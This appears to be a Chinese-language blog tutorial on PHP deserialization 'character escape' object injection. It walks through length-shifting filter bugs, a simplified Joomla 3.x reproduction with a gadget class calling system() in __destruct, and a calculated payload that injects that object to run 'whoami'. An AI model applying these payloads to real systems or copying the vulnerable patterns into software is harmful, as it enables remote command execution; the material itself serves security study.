首页 > 编程语言 >PHP字符逃逸导致的对象注入详解

PHP字符逃逸导致的对象注入详解

时间:2022-11-25 12:36:15浏览次数:40  
标签:username password 逃逸 cmd PHP 序列化 data public 详解


产生原因:

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

<?php

function filter($string){

$a = str_replace('x','zz',$string);

return $a;

}

$username = "tr1ple";

$password = "aaaaax";

$user = array($username, $password);

echo(serialize($user));

echo "\n";

$r = filter(serialize($user));

echo($r);

echo "\n";

var_dump(unserialize($r));

$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';

var_dump(unserialize($a));

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

2.对类中不存在的属性也会进行反序列化

以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了

并且如果对于

a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";

这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。

以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果。

比如a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是我们想要达到的效果,此时我们想要注入的payload明显为:

";i:1;s:6:"123456";}

可以得到其长度为20

此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值 

$password="aaaaa";

$user = array($username, $password);

echo(serialize($user));

echo "\n";

$r = filter(serialize($user));

echo($r);

echo "\n";

var_dump(unserialize($r));

可以看到此时注入属性成功,反序列化后得到的属性即为123456

2.实例分析

joomla3.0.0-3.4.6 对象注入导致的反序列化,以下为参考别人的简易化核心代码

<?php

class evil{

public $cmd;

public function __construct($cmd){

$this->cmd = $cmd;

}

public function __destruct(){

system($this->cmd);

}

}

class User
{

public $username;

public $password;

public function __construct($username, $password){

$this->username = $username;

$this->password = $password;

}

}

function write($data){

$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);

file_put_contents("dbs.txt", $data);

}

function read(){

$data = file_get_contents("dbs.txt");

$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

return $r;

}

if(file_exists("dbs.txt")){

unlink("dbs.txt");

}

$username = "tr1ple";

$password = "A";

$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 

在这里如果想要通过注入对象来实现反序列化则必须在外部对象内进行注入存在的属性,不能在其外部,否则php将不会进行我们注入恶意对象的反序列化

例如此时因为反序列化读取的时候将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那么s对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类

比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值,比如

<?php

$a='\0\0\0';

echo strlen($a);

$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);

echo strlen($b);

所以此时首先确定我们要吞掉的字符的长度

O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}

正常情况下我们要吞掉 ";s:8:"password";s:4:" 为22位

但是因为注入的对象payload也在password字段,并且长度肯定是>=10的,因此s肯定是两位数,因此这里为22+1=23位字符

因为是6->3,因此每次添加一组\0\0\0能多吞掉3个字符,因此需要肯定都是3的倍数

因此我们假如这里构造username为

\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0

则经过read函数处理后长度将变为24

即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

<?php

class evil{

public $cmd;

public function __construct($cmd){

$this->cmd = $cmd;

}

public function __destruct(){

system($this->cmd);

}

}

class User
{

public $username;

public $password;

public function __construct($username, $password){

$this->username = $username;

$this->password = $password;

}

}

function write($data){

$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);

file_put_contents("dbs.txt", $data);

}

function read(){

$data = file_get_contents("dbs.txt");

$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

return $r;

}

if(file_exists("dbs.txt")){

unlink("dbs.txt");

}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";

$password = "A";

$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 

执行结果如上图所示,将成功反序列化password属性所对应的值,其值即为我们注入的对象,整个过程也容易理解,就是吞掉后面的属性来注入属性,那么达到有以下要求:

1.相邻两个属性的值是我们可以控制的

2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来达到反序列化

比如XNUCA2018 hardphp就考察了一个这个相关的trick

这里就出现了用前面的data在反序列化时向后吞一位字符,从而可以导致吞掉后面的普通用户的username字段,而在username字段可以放上我们想要伪造的username,从而达到伪造session的目的。

标签:username,password,逃逸,cmd,PHP,序列化,data,public,详解
From: https://blog.51cto.com/u_13940603/5886332

相关文章

  • 令牌桶限流思路分享(PHP+Redis实现机制)
    一、场景描述 在开发接口服务器的过程中,为了防止客户端对于接口的滥用,保护服务器的资源,通常来说我们会对于服务器上的各种接口进行调用次数的限制。比如对于某个用户,他......
  • PHP 数组占用内存分析
    下面的做法会占用多大的内存?list($appid,$openid)=["testcontent","test"];测试:$m0=memory_get_usage();$k=range(1,200000);$m1=memory_get_usage();echoround((......
  • PHP高并发和大流量的解决方案
    PHP高并发和大流量的解决方案一、高并发的概念在互联网时代,并发,高并发通常是指并发访问。也就是在某个时间点,有多少个访问同时到来。二、高并发架构相关概念1、QPS(每秒......
  • php调取摄像头实现拍照功能
    最近做的商户后台要实现调取摄像头拍摄用户打卡照片的功能,找资料研究了下,终于黄天不负有心人,成功了,下面我分步骤将代码贴出来,希望能有帮助。代码有点多,但是每一步都很好理解......
  • 四种PHP异步执行的常用方式
    客户端与服务器端是通过HTTP协议进行连接通讯,客户端发起请求,服务器端接收到请求后执行处理,并返回处理结果。有时服务器需要执行很耗时的操作,这个操作的结果并不需要返回给客......
  • php与Redis实现一个100万用户的投票项目,实现实时查看投票情况?
    微信分享里总是有一些亲子活动,或者参加某些大赛需要进行投票,而面向的是所有人都可以参与,或者有限制一个人每天能投票同一个参与者3票之类的。。。这些应用场景有很多。假如......
  • PHP操作Redis
    redis的基本操作方法1.redis的连接://实例化redis$redis=newRedis();//连接$redis->connect('127.0.0.1',6379);//检测是否连接成功echo"Serverisrunning:".$r......
  • PHP处理 字符串个数(压缩处理)方法
    不说了,都是泪,直接上代码...$str='aaabbccqqwwe';//字符串示例$strRecord=[];//把出现过的字符记录在此数组中,如果记录有,则不记录,$new_str='';//最后......
  • Pod控制器详解(Job)
    JobJob,主要用于负责批量处理(一次要处理指定数量任务)短暂的一次性(每个任务仅运行一次就结束)任务。Job特点如下:当Job创建的pod执行成功结束时,Job将记录成功结束的pod......
  • PHP闭包之变量作用域
    在项目中,难免会遇到闭包的形式,那么在闭包中,变量的作用域到底是怎么样的呢。下面有几个简单的例子。functiontest_1(){$a='php';$func=function($b)use($a)......